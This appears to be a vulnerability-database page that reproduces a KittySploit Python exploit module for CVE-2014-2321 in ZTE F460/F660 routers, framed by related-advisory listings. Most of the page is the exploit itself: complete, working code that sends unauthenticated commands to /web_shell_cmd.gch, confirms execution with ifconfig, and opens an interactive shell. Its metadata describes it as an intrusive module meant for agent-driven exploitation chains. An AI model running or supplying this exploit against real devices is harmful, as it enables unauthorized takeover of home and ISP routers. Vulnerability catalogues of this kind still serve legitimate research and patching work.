Lucene search
+L

ZTE F460/F660 - web_shell_cmd.gch RCE (CVE-2014-2321)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated RCE in ZTE F460/F660 via POSTing Cmd= to /web_shell_cmd.gch.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2014-2321
11 Mar 201400:00
–attackerkb
circl
Circl
CVE-2014-2321
24 Oct 202400:00
–circl
checkpoint_advisories
Check Point Advisories
ZTE F460/F660 Backdoor Unauthorized Access (CVE-2014-2321)
17 Apr 201600:00
–checkpoint_advisories
cve
CVE
CVE-2014-2321
11 Mar 201410:00
–cve
cvelist
Cvelist
CVE-2014-2321
11 Mar 201410:00
–cvelist
kitploit
Kitploit
Windows-ZTE-Loader
12 Oct 202622:17
–kitploit
kittysploit
KittySploit
ZTE Cable Modem Web Shell Detection
28 Jul 202611:27
–kittysploit
mmpc
Microsoft Malware Protection
How to proactively defend against Mozi IoT botnet
19 Aug 202118:00
–mmpc
mssecure
Microsoft Secure
How to proactively defend against Mozi IoT botnet
19 Aug 202118:00
–mssecure
myhack58
myhack58
Event tracking: ZTE router SOHO Router)Backdoor has been clear-vulnerability warning-the black bar safety net
14 Apr 201500:00
–myhack58
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ZTE F460/F660 web_shell_cmd.gch RCE (CVE-2014-2321) — opens execute session."""

from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'ZTE F460/F660 - web_shell_cmd.gch RCE (CVE-2014-2321)',
        'description': (
            'Exploits CVE-2014-2321 by POSTing Cmd= to /web_shell_cmd.gch. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2014-2321'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2014-2321'],
        'tags': ['zte', 'iot', 'rce', 'unauth', 'cve-2014-2321'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2014_2321_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        data = (
            'IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1'
            f'&Cmd={quote(str(cmd), safe="/")}&CmdAck='
        )
        r = self.http_request(
            method='POST',
            path='/web_shell_cmd.gch',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def handler_execute(self):
        out = self.execute('/sbin/ifconfig')
        if not out or ('Link encap' not in out and 'HWaddr' not in out and 'inet ' not in out):
            probe = self.http_request(method='GET', path='/web_shell_cmd.gch', allow_redirects=False)
            if not probe or 'please input shell command' not in (probe.text or ''):
                print_error('Target does not appear vulnerable to CVE-2014-2321')
                return False
        print_success('ZTE web_shell_cmd.gch RCE confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
7.5High risk
Vulners AI Score7.5
CVSS 210
EPSS0.59259
1